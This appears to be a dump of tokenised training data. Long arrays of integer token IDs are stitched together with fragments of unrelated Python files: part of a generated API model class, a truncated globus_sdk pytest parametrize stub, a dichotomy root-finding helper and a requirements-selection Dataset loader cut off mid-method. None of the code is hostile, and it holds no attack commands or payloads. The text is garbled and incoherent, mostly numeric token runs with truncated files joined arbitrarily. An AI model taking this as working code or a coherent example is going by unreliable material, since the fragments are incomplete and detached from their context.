220, 220, 220, 1058, 7783, 25, 383, 20352, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 7343, 18, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 8344, 541, 2334, 628, 220, 220, 220, 2488, 8344, 541, 2334, 13, 2617, 353, 198, 220, 220, 220, 825, 20352, 7, 944, 11, 20352, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 20352, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 20352, 25, 383, 20352, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 7343, 18, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 8344, 541, 2334, 796, 20352, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 6460, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 6460, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 6460, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 13718, 26232, 17, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 33692, 628, 220, 220, 220, 2488, 33692, 13, 2617, 353, 198, 220, 220, 220, 825, 6460, 7, 944, 11, 6460, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 6460, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 6460, 25, 383, 6460, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 13718, 26232, 17, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 33692, 796, 6460, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 5553, 378, 62, 33692, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 5553, 378, 62, 33692, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 5553, 378, 62, 33692, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 9564, 14402, 29046, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 25641, 378, 62, 33692, 628, 220, 220, 220, 2488, 25641, 378, 62, 33692, 13, 2617, 353, 198, 220, 220, 220, 825, 5553, 378, 62, 33692, 7, 944, 11, 5553, 378, 62, 33692, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 5553, 378, 62, 33692, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 5553, 378, 62, 33692, 25, 383, 5553, 378, 62, 33692, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 9564, 14402, 29046, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 25641, 378, 62, 33692, 796, 5553, 378, 62, 33692, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 9646, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 9646, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 9646, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 13718, 2898, 5430, 29046, 16, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 36280, 628, 220, 220, 220, 2488, 36280, 13, 2617, 353, 198, 220, 220, 220, 825, 9646, 7, 944, 11, 9646, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 9646, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 9646, 25, 383, 9646, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 13718, 2898, 5430, 29046, 16, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 36280, 796, 9646, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 374, 824, 62, 404, 912, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 374, 824, 62, 404, 912, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 374, 824, 62, 404, 912, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 25012, 29046, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 42216, 62, 404, 912, 628, 220, 220, 220, 2488, 42216, 62, 404, 912, 13, 2617, 353, 198, 220, 220, 220, 825, 374, 824, 62, 404, 912, 7, 944, 11, 374, 824, 62, 404, 912, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 374, 824, 62, 404, 912, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 374, 824, 62, 404, 912, 25, 383, 374, 824, 62, 404, 912, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 25012, 29046, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 42216, 62, 404, 912, 796, 374, 824, 62, 404, 912, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 450, 62, 35312, 62, 404, 912, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 450, 62, 35312, 62, 404, 912, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 450, 62, 35312, 62, 404, 912, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 9564, 44154, 29046, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 397, 62, 35312, 62, 404, 912, 628, 220, 220, 220, 2488, 397, 62, 35312, 62, 404, 912, 13, 2617, 353, 198, 220, 220, 220, 825, 450, 62, 35312, 62, 404, 912, 7, 944, 11, 450, 62, 35312, 62, 404, 912, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 450, 62, 35312, 62, 404, 912, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 450, 62, 35312, 62, 404, 912, 25, 383, 450, 62, 35312, 62, 404, 912, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 9564, 44154, 29046, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 397, 62, 35312, 62, 404, 912, 796, 450, 62, 35312, 62, 404, 912, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 1919, 62, 9517, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 1919, 62, 9517, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 1919, 62, 9517, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 13718, 20636, 16962, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 14557, 62, 9517, 628, 220, 220, 220, 2488, 14557, 62, 9517, 13, 2617, 353, 198, 220, 220, 220, 825, 1919, 62, 9517, 7, 944, 11, 1919, 62, 9517, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 1919, 62, 9517, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 1919, 62, 9517, 25, 383, 1919, 62, 9517, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 13718, 20636, 16962, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 14557, 62, 9517, 796, 1919, 62, 9517, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 989, 62, 49736, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 989, 62, 49736, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 989, 62, 49736, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 13718, 19100, 22093, 17, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 13116, 62, 49736, 628, 220, 220, 220, 2488, 13116, 62, 49736, 13, 2617, 353, 198, 220, 220, 220, 825, 989, 62, 49736, 7, 944, 11, 989, 62, 49736, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 989, 62, 49736, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 989, 62, 49736, 25, 383, 989, 62, 49736, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 13718, 19100, 22093, 17, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 13116, 62, 49736, 796, 989, 62, 49736, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 7585, 62, 13376, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 7585, 62, 13376, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 7585, 62, 13376, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 13718, 33129, 19580, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 12381, 6315, 62, 13376, 628, 220, 220, 220, 2488, 12381, 6315, 62, 13376, 13, 2617, 353, 198, 220, 220, 220, 825, 7585, 62, 13376, 7, 944, 11, 7585, 62, 13376, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 7585, 62, 13376, 286, 428, 13718, 13, 628, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 7585, 62, 13376, 25, 383, 7585, 62, 13376, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 13718, 33129, 19580, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 12381, 6315, 62, 13376, 796, 7585, 62, 13376, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 6117, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 38, 1039, 262, 6117, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 317, 1351, 286, 2792, 3858, 290, 16969, 329, 262, 7824, 32815, 4963, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 383, 6117, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 81, 4906, 25, 1351, 58, 26198, 11280, 60, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 28751, 628, 220, 220, 220, 2488, 28751, 13, 2617, 353, 198, 220, 220, 220, 825, 6117, 7, 944, 11, 6117, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 50, 1039, 262, 6117, 286, 428, 13718, 13, 628, 220, 220, 220, 220, 220, 220, 220, 317, 1351, 286, 2792, 3858, 290, 16969, 329, 262, 7824, 32815, 4963, 13, 220, 1303, 645, 20402, 25, 412, 33548, 628, 220, 220, 220, 220, 220, 220, 220, 1058, 17143, 6117, 25, 383, 6117, 286, 428, 13718, 13, 220, 1303, 645, 20402, 25, 412, 33548, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 4906, 25, 1351, 58, 26198, 11280, 60, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 28751, 796, 6117, 628, 220, 220, 220, 825, 284, 62, 11600, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 35561, 262, 2746, 6608, 355, 257, 8633, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1255, 796, 23884, 628, 220, 220, 220, 220, 220, 220, 220, 329, 708, 81, 11, 4808, 287, 2237, 13, 2676, 23814, 7, 944, 13, 2032, 7928, 62, 19199, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 796, 651, 35226, 7, 944, 11, 708, 81, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 8367, 11, 1351, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 58, 35226, 60, 796, 1351, 7, 8899, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37456, 2124, 25, 2124, 13, 1462, 62, 11600, 3419, 611, 468, 35226, 7, 87, 11, 366, 1462, 62, 11600, 4943, 2073, 2124, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15306, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 468, 35226, 7, 8367, 11, 366, 1462, 62, 11600, 1, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 58, 35226, 60, 796, 1988, 13, 1462, 62, 11600, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 318, 39098, 7, 8367, 11, 8633, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 58, 35226, 60, 796, 8633, 7, 8899, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37456, 2378, 25, 357, 9186, 58, 15, 4357, 2378, 58, 16, 4083, 1462, 62, 11600, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 468, 35226, 7, 9186, 58, 16, 4357, 366, 1462, 62, 11600, 4943, 2073, 2378, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 13, 23814, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 15306, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 58, 35226, 60, 796, 1988, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1189, 549, 4871, 7, 46102, 11, 8633, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1994, 11, 1988, 287, 2116, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 58, 2539, 60, 796, 1988, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 1255, 628, 220, 220, 220, 825, 284, 62, 2536, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 35561, 262, 4731, 10552, 286, 262, 2746, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 279, 4798, 13, 79, 18982, 7, 944, 13, 1462, 62, 11600, 28955, 628, 220, 220, 220, 825, 11593, 260, 1050, 834, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 1890, 4600, 4798, 63, 290, 4600, 381, 22272, 63, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 1462, 62, 2536, 3419, 628, 220, 220, 220, 825, 11593, 27363, 834, 7, 944, 11, 584, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 35561, 2081, 611, 1111, 5563, 389, 4961, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 318, 39098, 7, 847, 11, 13718, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 10352, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 834, 11600, 834, 6624, 584, 13, 834, 11600, 834, 628, 220, 220, 220, 825, 11593, 710, 834, 7, 944, 11, 584, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 35561, 2081, 611, 1111, 5563, 389, 407, 4961, 37811, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 407, 2116, 6624, 584, 198 ]
2.335248
9,748
import pytest import responses from globus_sdk._testing import load_response_set @pytest.mark.parametrize( "filter_val", [ "mapped_collections", "mapped-collections", "MaPpeD-cOLlectiOns", "guest-collections", "guest_Collections", ["Mapped-Collections", "Managed_by-me"], ["mapped-collections", "managed-by_me", "created-by-me"], ], )
[ 11748, 12972, 9288, 198, 11748, 9109, 198, 6738, 15095, 385, 62, 21282, 74, 13557, 33407, 1330, 3440, 62, 26209, 62, 2617, 628, 628, 628, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7, 198, 220, 220, 220, 366, 24455, 62, 2100, 1600, 198, 220, 220, 220, 685, 198, 220, 220, 220, 220, 220, 220, 220, 366, 76, 6320, 62, 4033, 26448, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 76, 6320, 12, 4033, 26448, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 21467, 47, 431, 35, 12, 66, 3535, 801, 72, 2202, 82, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 5162, 395, 12, 4033, 26448, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 366, 5162, 395, 62, 5216, 26448, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 14631, 44, 6320, 12, 5216, 26448, 1600, 366, 5124, 1886, 62, 1525, 12, 1326, 33116, 198, 220, 220, 220, 220, 220, 220, 220, 14631, 76, 6320, 12, 4033, 26448, 1600, 366, 39935, 12, 1525, 62, 1326, 1600, 366, 25598, 12, 1525, 12, 1326, 33116, 198, 220, 220, 220, 16589, 198, 8, 198 ]
2.141361
191
import numpy as np def dichotomy(f, a, b, epsilon=1.0e-5): """Tradional dichotomy to find a root of a function """ fa = f(a) while True: c = (a + b) / 2.0 if (b - a) <= epsilon: return c fc = f(c) if fc * fa < 0: b = c else: fa = fc a = c def find_n_roots(f, n, deltax, eps=1.0e-10): """ Warning! Don't make the deltax = 0.1 """ currentroot = 0 root = [] gox = 1.0e-5 b = f(gox) while currentroot < n: a = b b = f(gox) if (a * b) < 0: root.append(dichotomy(f, gox - deltax, gox, epsilon=eps)) currentroot = currentroot + 1 gox = gox + deltax return root
[ 11748, 299, 32152, 355, 45941, 198, 198, 4299, 36638, 38385, 7, 69, 11, 257, 11, 275, 11, 304, 862, 33576, 28, 16, 13, 15, 68, 12, 20, 2599, 198, 220, 220, 220, 37227, 2898, 324, 1538, 36638, 38385, 284, 1064, 257, 6808, 286, 257, 2163, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 24685, 796, 277, 7, 64, 8, 198, 220, 220, 220, 981, 6407, 25, 198, 220, 220, 220, 220, 220, 220, 220, 269, 796, 357, 64, 1343, 275, 8, 1220, 362, 13, 15, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 65, 532, 257, 8, 19841, 304, 862, 33576, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 269, 198, 220, 220, 220, 220, 220, 220, 220, 277, 66, 796, 277, 7, 66, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 277, 66, 1635, 24685, 1279, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 275, 796, 269, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 24685, 796, 277, 66, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 257, 796, 269, 628, 198, 4299, 1064, 62, 77, 62, 19150, 7, 69, 11, 299, 11, 1619, 19290, 11, 304, 862, 28, 16, 13, 15, 68, 12, 940, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 15932, 0, 2094, 470, 787, 262, 1619, 19290, 796, 657, 13, 16, 628, 220, 220, 220, 37227, 198, 220, 220, 220, 1459, 15763, 796, 657, 198, 220, 220, 220, 6808, 796, 17635, 198, 220, 220, 220, 467, 87, 796, 352, 13, 15, 68, 12, 20, 198, 220, 220, 220, 275, 796, 277, 7, 70, 1140, 8, 198, 220, 220, 220, 981, 1459, 15763, 1279, 299, 25, 198, 220, 220, 220, 220, 220, 220, 220, 257, 796, 275, 198, 220, 220, 220, 220, 220, 220, 220, 275, 796, 277, 7, 70, 1140, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 357, 64, 1635, 275, 8, 1279, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6808, 13, 33295, 7, 67, 488, 38385, 7, 69, 11, 467, 87, 532, 1619, 19290, 11, 467, 87, 11, 304, 862, 33576, 28, 25386, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1459, 15763, 796, 1459, 15763, 1343, 352, 198, 220, 220, 220, 220, 220, 220, 220, 467, 87, 796, 467, 87, 1343, 1619, 19290, 198, 220, 220, 220, 1441, 6808, 628, 628, 628 ]
1.761021
431
from pathlib import Path from typing import Dict import numpy as np import json import uuid class Dataset: """ Class used to load datasets as published in del Sagrado, José del Águila, Isabel M. Orellana, Francisco J. Multi-objective ant colony optimization for requirements selection. Empirical Software Engineering. Vol. 20(3). 2015. """ def __init__(self, dataset: str = "test", source_file: str = None, source_dict: Dict = None): """Loads dataset vectors depending on the dataset name. """ if source_file: with open(source_file) as json_file: # use filename as dataset id self.id = Path(source_file).stem json_data = json.load(json_file) self.load_from_dict(json_data) elif source_dict: self.id = uuid.uuid4().hex self.load_from_dict(source_dict) else: # if not source file->search dataset json in datasets folder self.id = dataset with open("datasets/"+dataset+".json") as json_file: json_data = json.load(json_file) self.load_from_dict(json_data) # normalize values calculating scaled satisfactions, costs and scores self.normalize() # simplify dependencies: if self.dependencies is not None: self.list_of_sons = self.dependencies.copy() # needed in feda_algorithm.py self.calculate_dependencies() def calculate_dependencies(self) -> None: """Given the list of dependencies, recursively stores dependencies of requirements, saving in each requirements index all the requirements that have to be included to satisfy the dependency restrictions. """ self.new_dependencies = {} # dependency = index_dependency+1 (starts from 1) for dep in range(len(self.dependencies)): if self.dependencies[dep] is not None: # if req has dependencies -> add them and launch aux fun for dep2 in self.dependencies[dep]: self.new_dependencies.setdefault(dep, []).append(dep2) self.aux_dependencies(dep, dep2) # store new dependencies non repeatedly: self.dependencies = np.empty(len(self.dependencies), dtype=object) for i in range(len(self.dependencies)): if i not in self.new_dependencies: self.dependencies[i] = None else: self.dependencies[i] = list( dict.fromkeys(self.new_dependencies[i])) def normalize(self) -> None: """Given the costs, importances and priorities, this method calculates the total satisfaction and score, and scales cost and satisfaction using min-max normalization """ num_pbis = len(self.pbis_cost) self.pbis_satisfaction = self.stakeholders_importances.dot( self.stakeholders_pbis_priorities) # now two escalation follows, based on # https://en.wikipedia.org/wiki/Feature_scaling#Rescaling_(min-max_normalization) # scale pbis cost in range [0-1] margin = 1 / num_pbis # used to avoid zeros diff = np.sum(self.pbis_cost) - np.min(self.pbis_cost) self.pbis_cost_scaled = (self.pbis_cost - np.min(self.pbis_cost) + margin) / (diff + margin) # scale pbis satisfaction in range[0-1] diff = np.sum(self.pbis_satisfaction) - np.min(self.pbis_satisfaction) self.pbis_satisfaction_scaled = ( self.pbis_satisfaction - np.min(self.pbis_satisfaction) + margin) / (diff + margin) # each pbi score is computed from the scaled versions of pbi satisfaction and cost self.pbis_score = self.pbis_satisfaction_scaled / self.pbis_cost_scaled
[ 6738, 3108, 8019, 1330, 10644, 198, 6738, 19720, 1330, 360, 713, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 33918, 198, 11748, 334, 27112, 628, 198, 4871, 16092, 292, 316, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 5016, 973, 284, 3440, 40522, 355, 3199, 287, 198, 220, 220, 220, 1619, 25605, 81, 4533, 11, 36997, 1619, 6184, 223, 5162, 10102, 11, 41838, 337, 13, 440, 11252, 2271, 11, 6033, 449, 13, 198, 220, 220, 220, 15237, 12, 15252, 425, 1885, 18815, 23989, 329, 5359, 6356, 13, 198, 220, 220, 220, 2295, 4063, 605, 10442, 14044, 13, 4709, 13, 1160, 7, 18, 737, 1853, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 27039, 25, 965, 796, 366, 9288, 1600, 2723, 62, 7753, 25, 965, 796, 6045, 11, 2723, 62, 11600, 25, 360, 713, 796, 6045, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 8912, 82, 27039, 30104, 6906, 319, 262, 27039, 1438, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2723, 62, 7753, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 351, 1280, 7, 10459, 62, 7753, 8, 355, 33918, 62, 7753, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 779, 29472, 355, 27039, 4686, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 312, 796, 10644, 7, 10459, 62, 7753, 737, 927, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33918, 62, 7890, 796, 33918, 13, 2220, 7, 17752, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2220, 62, 6738, 62, 11600, 7, 17752, 62, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2723, 62, 11600, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 312, 796, 334, 27112, 13, 12303, 312, 19, 22446, 33095, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2220, 62, 6738, 62, 11600, 7, 10459, 62, 11600, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 220, 1303, 611, 407, 2723, 2393, 3784, 12947, 27039, 33918, 287, 40522, 9483, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 312, 796, 27039, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 351, 1280, 7203, 19608, 292, 1039, 30487, 10, 19608, 292, 316, 10, 1911, 17752, 4943, 355, 33918, 62, 7753, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33918, 62, 7890, 796, 33918, 13, 2220, 7, 17752, 62, 7753, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 